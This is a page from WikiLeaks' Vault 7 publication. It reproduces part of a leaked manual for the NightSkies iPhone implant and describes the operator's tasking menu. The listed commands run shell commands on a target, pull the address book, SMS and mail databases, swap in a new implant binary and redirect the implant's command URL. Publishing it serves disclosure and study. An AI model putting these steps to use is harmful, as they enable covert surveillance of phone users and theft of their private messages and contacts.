Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

SECRET//20330530
ns> tasks> add
Create a unique task name and package name for the tasking group, and then enter the tasks using the
command menu.
Enter task name. Must match page name of the URL! [page.php]: mypage.php
Enter name of package. Can be random [page.zip]: mypackage.zip
==== Command Menu ====
execute: Execute shell command on target (returns results)
download: Download file from target
upload: Upload a file to target
setconfig: Set or change a configuration value on target
getconfig: Get a configuration value from target
show: Show current commands
help: Show this help menu
done: Done adding tasks
Enter the commands to be executed by the NightSkies implant, such as the upload, download, and
execution of files. Multiple commands can be added, and they will be executed in sequential order.
The table below shows some common files to download, and the upload and execute examples when
run sequentially illustrate a way to upgrade NightSkies.
Type Example Effect
Download
/var/mobile/Library/AddressBook/AddressBook.sqlitedb
Download Address Book
/var/mobile/Library/SMS/sms.db
Download SMS Text
Messages
/var/mobile/Library/Mail/Envelope\ Index
Download Mail file
Upload
/usr/sbin/phoned
/local/location/of/newimplant
Upload newimplant file
to /usr/sbin/phoned
Execute
killall -9 phoned
Stop the phoned process
(launchd will relaunch it)
Update
Config
KEY_URL=http://localhost/page2.php
Update the implant to
check
http://localhost/page2.php
for future tasking.
When uploading large files, pkgcreator will take a long time to encrypt and package the file. If the file
to be uploaded is too large (dependent on OS and available memory), then pkgcreator will fail during
the generate step. A safe maximum file size is probably around 20MB or less.
Once the commands have been added, exit the command menu using done to return to the tasking
menu.
Be careful when using setconfig. If you update a setting on the implant that is critical to
communication with the LP (Client ID or magiclink), and don’t correspondingly update the LP, you
will break communications.
SECRET//20330530
7

e-Highlighter

Click to send permalink to address bar, or right-click to copy permalink.

Un-highlight all Un-highlight selectionu Highlight selectionh